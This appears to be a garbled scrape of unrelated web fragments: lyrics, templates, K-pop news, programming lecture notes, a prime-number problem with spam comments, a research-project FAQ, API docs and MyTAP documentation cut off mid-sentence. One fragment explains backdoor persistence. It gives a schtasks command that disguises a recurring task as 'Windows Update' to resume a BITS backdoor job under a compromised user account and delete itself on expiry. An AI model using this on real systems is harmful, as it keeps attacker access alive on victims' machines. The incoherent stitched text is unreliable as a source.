--- layout: post title: "morning lyrics" comments: true ---
I’m hanging out to dry With my old clothes Finger still red with the prick of an old rose Well the heart that hurts Is a heart that beats Can you hear the drummer slowing


{{define "scripts"}}
{{end}}
{{define "title"}}
Notifications Preferences
{{end}}
{{define "content"}}
| Slack | None | ||
|---|---|---|---|
| Patch Finish |
|
||
| Patch First Task Failure |
|
||
| Spawn Host Outcome |
|
||
| Spawn Host Expiration |
|
||
| Build Break |
|
||
| Commit Queue |
|
| Selectors | Event | Notify by | |
|---|---|---|---|
|
when a [[s.data]] with: [[s.type]] of [[s.type]] of [[s.type]] matching regex /[[s.data]]/ |
[[subscription.trigger]] |


Brave Entertainment's rookie boy group DKB reveals introductory film for 8th member Yuku
by beansssBrave Entertainment's new boy group DKB has revealed their 8th member Yuku, born on May 12, 2002.
Yuku's position in DKB include dance, vocals, and DJ-ing, while his special skills include exercise and the kendama. You can get to know Yuku in his lithe, introductory dance film, above.
Meanwhile, Brave Entertainment's DKB will be debuting some time in early 2020, after a series of pre-debut teaser content throughout this year.


Vector Implementation Basics
- CMPT 225
- Fall 2021
- Lecture 4
Example Using a Simple “Vector” Class
Take a look at the simple_vector.cpp file.
| Name | Type | Value |
|---|---|---|
| y | float | (empty) |
| x | int | 5 |
| … | … | … |
| p | int * | address |
| g | int * | p+1 |
What is *g?
Implementation in IVector.h
See IVector.h
Templates
- Often, we have algorithms that will work on many data types, with few or no changes.
- In strongly typed languages, we need a way to produce “generic” code–code that can work on different types in different places.
- In C++, templates let us write generic code.
- A template function or class defineition has a placeholder for one or more data types that is instanciated at compile time.
- The instanciation may be different at different places in the same code.
Test Program
See test_program.cpp
TVector is a templated version of IVector
See TVector.h
See Vector.h
See TestVector.cpp


Prime Cuts
问题描述 :
A prime number is a counting number (1, 2, 3, …) that is evenly divisible only by 1 and itself. In this problem you are to write a program that will cut some number of prime numbers from the list of prime numbers between (and including) 1 and N. Your program will read in a number N; determine the list of prime numbers between 1 and N; and print the C*2 prime numbers from the center of the list if there are an even number of prime numbers or (C*2)-1 prime numbers from the center of the list if there are an odd number of prime numbers in the list.
输入:
Each input set will be on a line by itself and will consist of 2 numbers. The first number (1 <= N <= 1000) is the maximum number in the complete list of prime numbers between 1 and N. The second number (1 <= C <= N) defines the C*2 prime numbers to be printed from the center of the list if the length of the list is even; or the (C*2)-1 numbers to be printed from the center of the list if the length of the list is odd.
输出:
For each input set, you should print the number N beginning in column 1 followed by a space, then by the number C, then by a colon (:), and then by the center numbers from the list of prime numbers as defined above. If the size of the center list exceeds the limits of the list of prime numbers between 1 and N, the list of prime numbers between 1 and N (inclusive) should be printed. Each number from the center of the list should be preceded by exactly one blank. Each line of output should be followed by a blank line. Hence, your output should follow the exact format shown in the sample output.
样例输入:
21 2 18 2 18 18 100 7
样例输出:
21 2: 5 7 11 18 2: 3 5 7 11 18 18: 1 2 3 5 7 11 13 17 100 7: 13 17 19 23 29 31 37 41 43 47 53 59 61 67
解题代码:
//* @author<EMAIL_ADDRESS>import java.util.Scanner; public class Main { public static void main(String[] args) { int[] arr=new int[]{ 1,2,3,5,7,11,13,17,19,23,29,31,37,41, 43,47,53,59,61,67,71,73,79,83,89,97,101,103,107, 109,113,127,131,137,139,149,151,157,163,167,173,179,181,191, 193,197,199,211,223,227,229,233,239,241,251,257,263,269,271, 277,281,283,293,307,311,313,317,331,337,347,349,353,359,367, 373,379,383,389,397,401,409,419,421,431,433,439,443,449,457, 461,463,467,479,487,491,499,503,509,521,523,541,547,557,563, 569,571,577,587,593,599,601,607,613,617,619,631,641,643,647, 653,659,661,673,677,683,691,701,709,719,727,733,739,743,751, 757,761,769,773,787,797,809,811,821,823,827,829,839,853,857, 859,863,877,881,883,887,907,911,919,929,937,941,947,953,967, 971,977,983,991,997,1009,1013,1019,1021,1031,1033,1039,1049,1051,1061, 1063,1069,1087,1091,1093,1097 }; Scanner in=new Scanner(System.in); while(in.hasNext()) { int a=in.nextInt(); int b=in.nextInt(); System.out.print(a+" "+b+":"); int max=184; int min=0; int mid=92; while(min< max) { mid=(max+min)/2; if(arr[mid]==a){ min=mid+1; break; } if(arr[mid]>a)max=mid; else if(arr[mid]< a) min=mid+1; } if(min%2==1){ mid=min/2-b+1; max=min/2+b-1; if(mid< 0) mid=0; if(max>min)max=min-1; } else{ mid=min/2-b; max=min/2+b-1; if(mid< 0) mid=0; if(max>min) max=min-1; } for(int i=mid;i<=max;i++) System.out.print(" "+arr[i]); System.out.println(); System.out.println(); } } }
(adsbygoogle = window.adsbygoogle || []).push({});
楼主 为什么输入的形式都不对 题目是不是弄错了？
厉害，支持
不同的编译器，printf(),执行的顺序不同，所以结果也就不同，建议不要那么写
这是往年的笔试题，非在线，主要考察基础，Java会在面试时问到
Often We don’t set up on weblogs, but I would like to condition that this established up really forced me individually to do this! considerably outstanding publish
都是一些基础题啊
学习了！！
原来如此 了解了
都是一些基础题啊
懂了，谢谢啦
I go through some of your put up and I uncovered a good deal of expertise from it. Many thanks for posting this sort of exciting posts
Thanks for using the time to examine this, I truly feel strongly about it and enjoy finding out far more on this subject matter. If achievable, as you achieve knowledge
书上的解法更巧妙一些，在九度OJ实测的效率差不多
你的理解应该是：即使主持人拿走一个箱子对结果没有影响。这样想，主持人拿走的箱子只是没有影响到你初始选择的那个箱子中有奖品的概率，但是改变了其余两个箱子的概率分布。由 1/3,1/3 变成了 0, 2/3


Jim Snyder
Over his 50 year tenure at Siena College, Jim dedicated his life to helping others-ESPECIALLY those in need or in low-income areas.
He helped start and implement the Big Brothers and Sisters program that later blossomed into the Siena Mentoring Program--which has served thousands of children from the Albany area who were matched to Siena student volunteers.
The devotion of generations of Siena students to serving urban youth was a powerful force in Jim's life. He cherished the generosity of spirit of the Siena Community.
Jim was monumental in exposing children from high poverty areas to college campuses, and making them believe that they too could go to any college they wanted—with hard work, perseverance and dedication.


text
Scope
0.0.1
— Text RSVP based on Semantics Decomposition
Paste text below
Number of words per segment
1
2
3
4
5
6
7
8
> >


To solve the problem of BITS entering an error state, we use schtasks to resume our job at regular intervals. This will allow our backdoor to persist regardless of the state of our C&C, or presence of a trigger-file.
Crafting our Scheduled Task
schtasks /CREATE /TN "Windows Update" /TR "%WINDIR%\system32\sbitsadmin.exe /resume \"Windows Update\"" /SC minute /MO 30 /ED 03/14/2014 /ET 09:00 /Z /IT /RU %USERNAME%
Important Settings:
# The /resume flag will restart our BITS job if it has entered an error state
/TR %WINDIR%\system32\sbitsadmin.exe /resume...
# Utilizing a "schedule modifier" we create a task whose actions will trigger every X minutes.
/SC minute /MO <X>
# Using an end date and end time we set an expiration date for our task
/ED <DATE> /ET <TIME>
# Using the /Z flag causes our task to self delete at the specified end date and time
/Z
# Run as %USERNAME% executes our task under a compromised user without need for credentials
/IT /RU %USERNAME%
Our Newly Created Task
This task will automatically delete itself once it has reached the end date and time.


{% extends "web/base.html" %} {% load django_bootstrap5 %} {% load i18n %} {% load static %} {% load bootstrap_icons %} {% load web_extras %} {% block title %} GARDEN About {% endblock title %} {% block content %} {% url "web:lab-studies-list" lab_slug="garden" as garden_url %} {% include "web/garden/_navigation.html" %} {% trans "What is Project Garden?" as trans_about_title %} {% trans "Frequently Asked Questions" as trans_faq %} {% page_title trans_about_title %}
Project GARDEN is a research project by Children Helping Science and funded by the National Science Foundation. We have two goals: (1) to make it easier for families to participate in research and (2) to better understand how children develop over time in lots of different ways!
Project GARDEN is a project aimed at understanding child development from many different angles: learning how to relate to their family and peers, how to problem solve, how to speak their family's languages, and much more!
Each time you participate, your child will have the opportunity to follow a fun story involving a magical library and a friendly fennec fox named Fen!
Project GARDEN is a research project by Children Helping Science and funded by the National Science Foundation. We have two goals: (1) to make it easier for families to participate in research and (2) to better understand how children develop over time in lots of different ways!
Project GARDEN is a project aimed at understanding child development from many different angles! Usually, a research project will only look at one or two specific areas of development, like specific math skills or specific vocabulary skills. In Project GARDEN, we look at how children grow in many different ways at once - learning how to relate to their family and peers, how to problem solve, how to speak their family's languages, and much more!

Project GARDEN is for all families with 3- to 6-year-old children who are interested in development and education research and would like to help science by participating in lots of small studies! Our goal is for this experience to be engaging and fun for children and interesting and rewarding for caregivers. If you are interested in seeing how your child plays the research games or understanding more about how children learn and develop, you might find Project GARDEN a great experience for you and your family!
There are many exciting studies on Children Helping Science from around the world, and you can always participate in any studies that interest your family. Project GARDEN is a more specific set of studies on Children Helping Science. Keep reading to find out more!
Project GARDEN works by families participating in many short studies that, combined together, help us understand children's development from many different angles. Each time you participate, your child will have the opportunity to follow a fun story involving a magical library and a friendly animated fox, play research games designed to be fun for children, and receive a gift card. There will be at least 8 studies posted in the upcoming year, and most studies will take 10- 15 minutes to complete. You can choose whether to participate in each study, but the more studies that families complete, the better we can understand how children develop! If you complete all of the first set of 8 studies, you will receive an extra gift card as a thank you. You will then also have the opportunity to participate in more studies in the future!
The goal of Project GARDEN is to better understand the many different ways children develop using many quick, small studies instead of asking children to sit down for one really long study. Because of this, it's very important to us for families to try to complete each of the first eight studies so we can look at these studies together! For example, you might do one study on how children think about different people's perspectives and then another study on what kinds of words they know. Using both studies, we can see how what words they know might relate to how they think about different people's perspectives. In another example, children might also complete the same study twice - once when they're young and once when they're a bit older - to see what changed over time!
Email us at<EMAIL_ADDRESS>or sign up for a brief video call with one of our Project GARDEN researchers and we'll be happy to answer any questions! Sign-up slots are limited, but we will always respond to your emails within 7 business days.
There are other studies posted on Children Helping Science that are not part of Project GARDEN. You can visit the Children Helping Science Studies Page to check out other studies to preview or try out another study before you decide if you'd like to participate in Project GARDEN!


Motion
The track should be treated as if it contains video where motion is important.
This is normally webcam video, movies or video games.


Angle Sum and Difference Calculator
Is this considered bending the rules for the python assignment?
Angle A
°
Angle B
°
The real code is here!
Angle A
Angle B
sin(A + B)
sin(A - B)
cos(A + B)
cos(A - B)
1
2
38
23
12
3


Mobile and web development
Business & Entrepneurship
Sales & Marketing
Financing & Accounting
IT & Software
Language
Responsive Tab-1
Responsive Tab-2
Responsive Tab-3
Responsive Tab-4
Responsive Tab-5
Responsive Tab-6


composition over inheritance
sources
The Two Pillars of JavaScript: Part 1: How to Escape the 7th Circle of Hell by Eric Elliott 20141021
Composition over Inheritance : Youtube channel Fun Fun Function
explanation
inheritance is when you design objects around what they are
composition is when you design objects around what they do
example
We design a game where we have
Dog
.poop()
.bark()
Cat
.poop()
.meow()
Because of poop
function duplication we create a mother class
Animal
.poop()
Dog
.poop()
.bark()
Cat
.poop()
.meow()
Now we add more classes on a different line of inheritance
MurderRobot
.drive()
.kill()
CleaningRobot
.drive()
.clean()
Animal
.poop()
Dog
.poop()
.bark()
Cat
.poop()
.meow()
Same problem as before, we need another mother class for robots
Robot
.drive()
MurderRobot
.kill()
CleaningRobot
.drive()
.clean()
Animal
.poop()
Dog
.poop()
.bark()
Cat
.poop()
.meow()
After a while a new needs is coming : We need a murder robot dog who can kill, drive and bark.
But it cannot poop (no digestive system)
At this point, the class inheritance taxinomy is deeply wrong. We cannot put a MurderRobotDog class inside.
The only solution keeping inheritance is to set a super motherclass but children will have method they should not
have in attached to them. So it is bad.
This problem is called the Gorilla Banana Problem (You request a Banana, you got a Gorilla and the entire Jungle with it).
The solution is composition (design objects around what they do)
dog = pooper + barker
cat = pooper + meower
cleaningRobot = driver + cleaner
murderRobot = driver + killer
murderRobotDog = driver + killer + barker
when to use composition/inheritance
Lots of devs just favors composition over inheritance and some never use inheritance.
Replace Constructor with Factory Method : Martin Fowler 1999
He is not saying inheritance is bad directly but if you don’t use constructors you cannot use
super
keyword.
CallSuper is an anti-pattern: Martin Fowler 20050811
or a code smell
Composition over inheritance : en.wikipedia.org
Composition vs. Inheritance: How to Choose? 20150512
articles
The Open Minded Explorer’s Guide to Object Composition : Eric Elliott 20151015
Composition over Inheritance, the importance of context : Damien Lebreuilly 20160131
In the rest of this article, I’ll explain what are those inheritance pitfalls that composition (in GoF sense) tries
to avoid, and I’ll show that concatenative inheritance still carries them.he is taking the @mpj
murderRobotDog
example adding more complexity to output this conclusion :
Object composition is not object merging.


AN ANALYSIS OF THE SHORTHAND TEXTBOOK USED IN AMERICAN HIGH SCHOOLS
PRIOR TO 1900
by Thomas Paul Bicanich B. S. in Ed., Indiana University of Pennsylvania, 1957
M. Ed., Indiana University of Pennsylvania, 1965
Submitted to the Graduate Faculty in the School of Education in partial fulfillment of the requirements for the degree of
Doctor of Education
University of Pittsburgh
1970 .
Reproduced with permission of the copyright owner. Further reproduction prohibited without permission.


Problem 5. Selection sort
Sorting an array means to arrange its elements in increasing order.
Write a script to sort an array.
Use the selection sort algorithm: Find the smallest element, move it at the first position, find the smallest from the rest, move it at the second position, etc.
Examples:
- [-50, 3.5, 1000, 100, -55555]
- [-5, 2, 8, 10, 8, 100]
- [5, 10, 100, 12, -10, 2]
You could use Chrome console (F12) or Firebug to see the results.


Basic 3D vector implementation.
length:Number
[read-only]
Returns this vector's length.
Implementation
public function get length():Number
public var x:Number = 0
Vector components.
public var y:Number = 0
public var z:Number = 0
public function Vector3(x:Number = 0, y:Number = 0, z:Number = 0)
Creates a new vector. All three X, Y, Z parameters are optional.
Parameters
| x:Number (default = 0 )
|
| |
| y:Number (default = 0 )
|
| |
| z:Number (default = 0 )
|
public function add(v:Vector3):Vector3
Returns a new vector that is the summation of this vector with vector v.
Parameters
Returns
public function addLocal(v:Vector3):Vector3
Sets this vector to the result of summation with v, such that this = this + v
.
Returns a reference to the modified self.
Parameters
Returns
public function clampToUnitBox():Vector3
Returns a new vector that is a copy of this vector, with each coordinate clamped
to within [0, 1]. Please note that this obviously does not preserve the
vector's original direction in space.
Returns
public function clone():Vector3
Duplicates a vector.
Returns
public function cross(v:Vector3):Vector3
Returns a new vector that is the cross product of this vector with vector v,
such that result = this ⊗ v
.
Parameters
Returns
public function crossLocal(v:Vector3):Vector3
Sets this vector to the result of a cross product with vector v, such that
this = this ⊗ v
. Returns a reference to the modified self.
Parameters
Returns
public function dot(v:Vector3):Number
Returns the dot product of this vector with vector v.
Parameters
Returns
public static function interpolate(a:Vector3, b:Vector3, p:Number):Vector3
Returns a new vector that is the linear interpolation of vectors a and b
at proportion p, where p is in [0, 1], p = 0 means the result is equal to a,
and p = 1 means the result is equal to b.
Parameters
Returns
public function intersection(s:Vector3, p:Vector3, n:Vector3):Vector3
Finds the intersection of a ray emitted from s along this vector,
with a plane passing through point p with normal n. Returns the point
of intersection, potentially infinite if the ray and plane are parallel.
Parameters
Returns
public function normalize():Vector3
Returns a new vector that is a normalized version of this vector.
Returns
public function normalizeLocal():Vector3
Destructively normalizes this vector. Returns a reference to the modified self.
Returns
public function scale(value:Number):Vector3
Returns a new vector that is the result of multiplying the current vector
by the specified scalar.
Parameters
Returns
public function scaleLocal(value:Number):Vector3
Destructively multiplies this vector by the specified scalar.
Returns a reference to the modified self.
Parameters
Returns
public function set(x:Number, y:Number, z:Number):void
Assigns values to the three parameters of this vector.
Parameters
| x:Number |
| |
| y:Number |
| |
| z:Number |
public function subtract(v:Vector3):Vector3
Returns a new vector that is the subtraction of vector v from this vector.
Parameters
Returns
public function subtractLocal(v:Vector3):Vector3
Sets the vector to the result of subtraction of v, such that this = this - v
.
Returns a reference to the modified self.
Parameters
Returns
public function toString():String
Returns
public static const INFINITE:Vector3
Infinite vector - often the result of normalizing a zero vector, or intersecting
a vector with a parallel plane.
Copyright © 2007-2009 Three Rings Design, Inc.


A series on Francis Coronado's journey, including a pilot episode.
.
A two episode series on World War 1. Created by Oversimplified.
A two episode series on World War 2. Created by Oversimplified.


However, it would seem that human intelligence is in all ways finite. We can only sense so many things and our minds can only handle so much sensory input. For example, we cannot see infinitely far or in the back of our heads.
In addition, we cannot always interpret such sensory data correctly. A shadow in the dark which appears to be a person reveals itself to be a pile of clothes on a chair. Optical illusions trick our minds in various ways.
Furthermore, our human rationality is in many ways flawed, or else all humans would instantly reach the same conclusion on any matter of reasoning.
If human intelligence is indeed limited, we have reached a contradiction.


We are passionate about building beautiful and functional products that solve entrenched institutional problems, simply.
Our founder Jordan Fantaay has been devoted to innovation since a young age, and at only eighteen he developed a wireless hi-fi system, which went on to be sold at Harrods.
Jordan and the rest of the Fantoo team are focused to tackle an issue we all face daily: the stressful productivity-killer that is the conventional inbox.


About Ammar Badwan
Ammar Badwan is a 24 years old guy with a passion for engineering, whether that is the civil engineering part or the software engineering part, he's always looking for opportunities to improve himself in the subjects he loves such as coding, he wants to become one of the best coders in Jordan and he believes in his own abilties to achieve this goal, you can check out his GitHub or contact him on LinkedIn and Email, information in the Footer.
Education
-
Abdul Aziz Ghurair School Of Advanced Technology - LTUC
Software Development Student, Feb 2020 - Current
-
Al-Zaytoonah University of Jordan
Bachelors Degree in Civil & Infrastructure Engineering, 2013 - 2018
Hobbies
One of Ammar Badwan's favorite hobbies is playing video games and watching movings, here are a list of his favorite games
List of Games:
- Dota 2
- CS:GO
- The Witcher 3
- Fifa
- Battlefield
- The Walking Dead
- The Last of Us
- Mass Effect
- Serious Sam
- Need for Speed


These code blocks rely on CMS classes to load FitVids.js and make YouTube videos responsive. All videos should be YouTube videos.
Insert the video ID into the form below — NOT THE URL FOR THE VIDEO. The video will resize to match the browser, but we've included a default aspect ratio (width and height) that you may need to adjust.


MyTAP 0.02
MyTAP is a unit testing framework for MySQL 5.x written using fuctions and procedures. It includes a collection of TAP-emitting assertion functions, as well as the ability to integrate with other TAP-emitting test frameworks.
Contents
Installation
To install MyTAP into a MySQL database, just run mytap.sql
:
mysql -u root < mytap.sql
This will install all of the assertion functions, as well as a cache table, into a database named “tap”.
MyTAP Test Scripts
Here’s an example of how to write a MyTAP test script:
-- Start a transaction.
BEGIN;
-- Plan the tests.
SELECT tap.plan(1);
-- Run the tests.
SELECT tap.pass( 'My test passed, w00t!' );
-- Finish the tests and clean up.
CALL tap.finish();
ROLLBACK;
Note how the TAP test functions are reference from another database so as to keep them separate from your application database.
Now you're ready to run your test script!
% mysql -u root --disable-pager --batch --raw --skip-column-names --unbuffered --database test --execute 'source test.sql'
1..1
ok 1 - My test passed, w00t!
Yeah, that’s rather a lot of options to have to remember to get valid tap. I
suggest that you install
TAP::Parser::SourceHandler::MyTAP
instead and just use its my_prove
utility:
% my_prove -u root --database test test.sql
Using MyTAP
The purpose of MyTAP is to provide a wide range of testing utilities that output TAP. TAP, or the “Test Anything Protocol”, is an emerging standard for representing the output from unit tests. It owes its success to its format as a simple text-based interface that allows for practical machine parsing and high legibility for humans. TAP started life as part of the test harness for Perl but now has implementations in C/C++, Python, PHP, JavaScript, Perl, PostgreSQL, and now MySQL.
I love it when a plan comes together
Before anything else, you need a testing plan. This basically declares how many tests your script is going to run to protect against premature failure.
The preferred way to do this is to declare a plan by calling the plan()
function:
SELECT tap.plan( 42 );
There are rare cases when you will not know beforehand how many tests your script is going to run. In this case, you can declare that you have no plan. (Try to avoid using this as it weakens your test.)
CALL tap.no_plan();
Often, though, you'll be able to calculate the number of tests, like so:
SELECT plan( COUNT(*) )
FROM foo;
At the end of your script, you should always tell MyTAP that the tests have completed, so that it can output any diagnostics about failures or a discrepancy between the planned number of tests and the number actually run:
CALL tap.finish();
Test names
By convention, each test is assigned a number in order. This is largely done automatically for you. However, it’s often very useful to assign a name to each test. Would you rather see this?
ok 4
not ok 5
ok 6
Or this?
ok 4 - basic multi-variable
not ok 5 - simple exponential
ok 6 - force == mass * acceleration
The latter gives you some idea of what failed. It also makes it easier to find the test in your script, simply search for “simple exponential”.
Many test functions take a name argument. It’s optional, but highly suggested that you use it.
I'm ok, you're not ok
The basic purpose of MyTAP—and of any TAP-emitting test framework, for that matter—is to print out either “ok #” or “not ok #”, depending on whether a given test succeeded or failed. Everything else is just gravy.
All of the following functions return “ok” or “not ok” depending on whether the test succeeded or failed.
ok( boolean, description )
SELECT tap.ok( @this = @that, @description );
This function simply evaluates any expression (@this = @that
is just a
simple example) and uses that to determine if the test succeeded or failed. A
true expression passes, a false one fails. Very simple.
For example:
SELECT tap.ok( 9 ^ 2 = 81, 'simple exponential' );
SELECT tap.ok( 9 < 10, 'simple comparison' );
SELECT tap.ok( 'foo' ~ '^f', 'simple regex' );
SELECT tap.ok( active, concat(name, ' widget active' ))
FROM widgets;
(Mnemonic: “This is ok.”)
The @description
is a very short description of the test that will be printed
out. It makes it very easy to find a test in your script when it fails and
gives others an idea of your intentions. The description is optional, but we
very strongly encourage its use.
Should an ok()
fail, it will produce some diagnostics:
not ok 18 - sufficient mucus
# Failed test 18: "sufficient mucus"
Furthermore, should the boolean test result argument be passed as a NULL
,
ok()
will assume a test failure and attach an additional diagnostic:
not ok 18 - sufficient mucus
# Failed test 18: "sufficient mucus"
# (test result was NULL)
eq( anyelement, anyelement, description )
isnt_eq( anyelement, anyelement, description )
SELECT tap.eq( @this, @that, @description );
SELECT tap.not_eq( @this, @that, @description );
Similar to ok()
, eq()
and not_eq()
compare their two arguments with =
AND <>
, respectively, and use the result of that to determine if the test
succeeded or failed. So these:
-- Is the ultimate answer 42?
SELECT tap.eq( ultimate_answer(), 42, 'Meaning of Life' );
-- foo() doesn't return empty
SELECT tap.not_eq( foo(), '', 'Got some foo' );
are similar to these:
SELECT tap.ok( ultimate_answer() = 42, 'Meaning of Life' );
SELECT tap.isnt( foo() <> '', 'Got some foo' );
(Mnemonic: “This is that.” “This isn’t that.”)
Note: NULL
s are not treated as unknowns by eq()
or not_eq()
. That
is, if @this
and @that
are both NULL
, the test will pass, and if only
one of them is NULL
, the test will fail.
So why use these test functions? They produce better diagnostics on failure.
ok()
cannot know what you are testing for (beyond the description), but
eq()
and not_eq()
know what the test was and why it failed. For
example this test:
SELECT tap.eq( 'waffle', 'yarblokos', 'Is foo the same as bar?' );
Will produce something like this:
# Failed test 17: "Is foo the same as bar?"
# have: waffle
# want: yarblokos
So you can figure out what went wrong without re-running the test.
You are encouraged to use eq()
and not_eq()
over ok()
where
possible.
matches( anyelement, regex, description )
SELECT matches( @this, '^that', @description );
Similar to eq()
, matches()
matches @this
against the regex /^that/
.
So this:
SELECT matches( @this, '^that', 'this is like that' );
is similar to:
SELECT ok( @this REGEXP '^that', 'this is like that' );
(Mnemonic “This matches that”.)
Its advantages over ok()
are similar to that of eq()
and not_eq()
: Better
diagnostics on failure.
doesnt_match( anyelement, regex, description )
SELECT doesnt_match( @this, '^that', @description );
This functions works exactly as matches()
does, only it checks if @this
does not match the given pattern.
alike( anyelement, pattern, description )
SELECT alike( @this, 'that%', @description );
Similar to matches()
, alike()
matches @this
against the SQL LIKE
pattern ‘that%’.
Its advantages over ok()
are similar to that of eq()
and not_eq()
:
Better diagnostics on failure.
unalike( anyelement, pattern, description )
SELECT unalike( @this, 'that%', @description );
Works exactly as alike()
, only it checks if @this
does not match the
given pattern.
pass( description )
fail( description )
SELECT tap.pass( @description );
SELECT tap.fail( @description );
Sometimes you just want to say that the tests have passed. Usually the case is
you've got some complicated condition that is difficult to wedge into an
ok()
. In this case, you can simply use pass()
(to declare the test ok) or
fail()
(for not ok). They are synonyms for ok(1, @description)
and
ok(0, @description)
.
Use these functions very, very, very sparingly.
The Schema Things
Need to make sure that your database is designed just the way you think it should be? Use these test functions and rest easy.
A note on comparisons: MyTAP uses a simple equivalence test (=
) to compare
identifier names.
has_table( database, table, description )
SELECT has_table(DATABASE(), 'sometable', 'I got sometable');
This function tests whether or not a table exists in a database. The first
argument is a database name, the second is a table name, and the third is the
test description. If you want to test for a table in the current database, use
the DATABASE()
function to specify the current databasen name. If you omit
the test description, it will be set to “Table ‘:database’.‘:table’ should
exist”.
No Test for the Wicked
There is more to MyTAP. Oh so much more! You can output your own diagnostics. You can write conditional tests based on the output of utility functions. You can batch up tests in functions. Read on to learn all about it.
Diagnostics
If you pick the right test function, you'll usually get a good idea of what
went wrong when it failed. But sometimes it doesn’t work out that way. So here
we have ways for you to write your own diagnostic messages which are safer
than just \echo
or SELECT foo
.
diag( text )
Returns a diagnostic message which is guaranteed not to interfere with test output. Handy for this sort of thing:
-- Output a diagnostic message if the collation is not en_US.UTF-8.
SELECT tap.diag(concat(
'These tests expect CHARACTER_SET_DATABASE to be en_US.UTF-8,\n',
'but yours is set to ', VARIABLE_VALUE, '.\n',
'As a result, some tests may fail. YMMV.'
))
FROM information_schema.global_variables
WHERE VARIABLE_NAME = 'CHARACTER_SET_DATABASE'
AND VARIABLE_VALUE <> 'utf-8'
Which would produce:
# These tests expect CHARACTER_SET_DATABASE to be en_US.UTF-8,
# but yours is set to latin1.
# As a result, some tests may fail. YMMV.
Conditional Tests
Sometimes running a test under certain conditions will cause the test script
or function to die. A certain function or feature isn’t implemented (such as
information_schema.global_variables()
prior to MySQL 5.1), some resource
isn’t available (like a replication), or a third party library isn’t
available. In these cases it’s necessary to skip tests, or declare that they
are supposed to fail but will work in the future (a todo test).
skip( how_many, why )
Outputs SKIP test results. Use it in a conditional expression within a
SELECT
statement to replace the output of a test that you otherwise would
have run.
SELECT CASE WHEN mysql_version() < 501000
THEN skip(1, 'ExtractValue() not supported before 5.1' )
ELSE ok( ExtractValue('', 'count(/a/b)'), 'ExtractValue should work')
END;
SELECT CASE WHEN mysql_version() < 501000
THEN skip(2, 'ExtractValue() not supported before 5.1' )
ELSE concat(
ok( ExtractValue('', 'count(/a/b)'), 'ExtractValue should work'),
'\n',
ok( ExtractValue('', 'count(/a/b)'), 'ExtractValue should work')
)
END;
Note how use of the conditional CASE
statement has been used to determine
whether or not to run a couple of tests. If they are to be run, they are run
through concat()
, so that we can run a few tests in the same query. If we
don’t want to run them, we call skip()
and tell it how many tests we're
skipping.
todo( how_many, why )
Declares a series of tests that you expect to fail and why. Perhaps it’s because you haven’t fixed a bug or haven’t finished a new feature:
SELECT todo(2, 'URIGeller not finished');
SET card 'Eight of clubs';
SELECT eq( yourCard(), @card, 'Is THIS your card?' );
SELECT eq( bendSpoon(), 'bent', 'Spoon bending, how original' );
With todo()
, @how_many
specifies how many tests are expected to fail.
pgTAP will run the tests normally, but print out special flags indicating they
are “todo” tests. The test harness will interpret these failures as ok. Should
any todo test pass, the harness will report it as an unexpected success. You
then know that the thing you had todo is done and can remove the call to
todo()
.
The nice part about todo tests, as opposed to simply commenting out a block of tests, is that they're like a programmatic todo list. You know how much work is left to be done, you're aware of what bugs there are, and you'll know immediately when they're fixed.
todo_start( why )
This function allows you declare all subsequent tests as TODO tests, up until
the todo_end()
function is called.
The todo()
syntax is generally pretty good about figuring out whether or not
we're in a TODO test. However, often we find it difficult to specify the
number of tests that are TODO tests. Thus, you can instead use
todo_start()
and todo_end()
to more easily define the scope of your TODO
tests.
Note that you can nest TODO tests, too:
SELECT todo_start('working on this');
-- lots of code
SELECT todo_start('working on that');
-- more code
SELECT todo_end();
SELECT todo_end();
This is generally not recommended, but large testing systems often have weird internal needs.
The todo_start()
and todo_end()
function should also work with the
todo()
function, although it’s not guaranteed and its use is also
discouraged:
SELECT todo_start('working on this');
-- lots of code
SELECT todo(2, 'working on that');
-- Two tests for which the above line applies
-- Followed by more tests scoped till the following line.
SELECT todo_end();
We recommend that you pick one style or another of TODO to be on the safe side.
todo_end()
Stops running tests as TODO tests. This function is fatal if called without a
preceding todo_start()
method call.
in_todo()
Returns true if the test is currently inside a TODO block.
Utility Functions
Along with the usual array of testing, planning, and diagnostic functions, pTAP provides a few extra functions to make the work of testing more pleasant.
mytap_version()
SELECT mytap_version();
Returns the version of MyTAP installed in the server. The value is NUMERIC
,
and thus suitable for comparing to a decimal value.
mysql_version()
SELECT mysql_version();
Returns an integer representation of the server version number. This function
is useful for determining whether or not certain tests should be run or
skipped (using skip()
) depending on the version of MySQL. For example:
SELECT CASE WHEN mysql_version() < 501000
THEN skip('ExtractValue() not supported before 5.1' )
ELSE ok( ExtractValue('', 'count(/a/b)'), 'ExtractValue should work')
END;
The revision level is in the hundres position, the minor version in the ten thousands position, and the major version in the hundred thousands position and above (assuming MySQL 10 is ever released, it will be in the millions position).
Compose Yourself
So, you've been using MyTAP for a while, and now you want to write your own test functions. Go ahead; I don’t mind. In fact, I encourage it. How? Why, by providing a function you can use to test your tests, of course!
But first, a brief primer on writing your own test functions. There isn’t much
to it, really. Just write your function to do whatever comparison you want. As
long as you have a boolean value indicating whether or not the test passed,
you're golden. Just then use ok()
to ensure that everything is tracked
appropriately by a test script.
For example, say that you wanted to create a function to ensure that two text
values always compare case-insensitively. Sure you could do this with
eq()
and the LOWER()
function, but if you're doing this all the time,
you might want to simplify things. Here’s how to go about it:
DROP FUNCTION IF EXITS lc_is
DELIMITER //
CREATE FUNCTION lc_is (have TEXT, want TEXT, descr TEXT)
RETURNS TEXT
BEGIN
IF LOWER(have) = LOWER(want) THEN
RETURN ok(1, descr);
END IF;
RETURN concat(ok( 0, descr ), '\n', diag(concat(
' Have: ', have,
'\n Want: ', want
)));
END //
DELIMITER ;
Yep, that’s it. The key is to always use MyTAP’s ok()
function to guarantee
that the output is properly formatted, uses the next number in the sequence,
and the results are properly recorded in the database for summarization at
the end of the test script. You can also provide diagnostics as appropriate;
just append them to the output of ok()
as we've done here.
Of course, you don’t have to directly use ok()
; you can also use another
MyTAP function that ultimately calls ok()
. IOW, while the above example
is instructive, this version is easier on the eyes:
CREATE FUNCTION lc_is ( have TEXT, want TEXT, descr TEXT )
RETURNS TEXT
BEGIN
RETURN eq( LOWER(have), LOWER(want), descr);
END //
But either way, let MyTAP handle recording the test results and formatting the output.
Testing Test Functions
Now you've written your test function. So how do you test it? Why, with this handy-dandy test function!
check_test( test_output, is_ok, name, want_description, want_diag, match_diag )
SELECT check_test(
lc_eq('This', 'THAT', 'not eq'),
0,
'lc_eq fail',
'not eq',
' Want: this\n Have: that'
);
SELECT check_test(
lc_eq('This', 'THIS', 'eq'),
1
);
This function runs anywhere between one and three tests against a test function. For the impatient, the arguments are:
@test_output
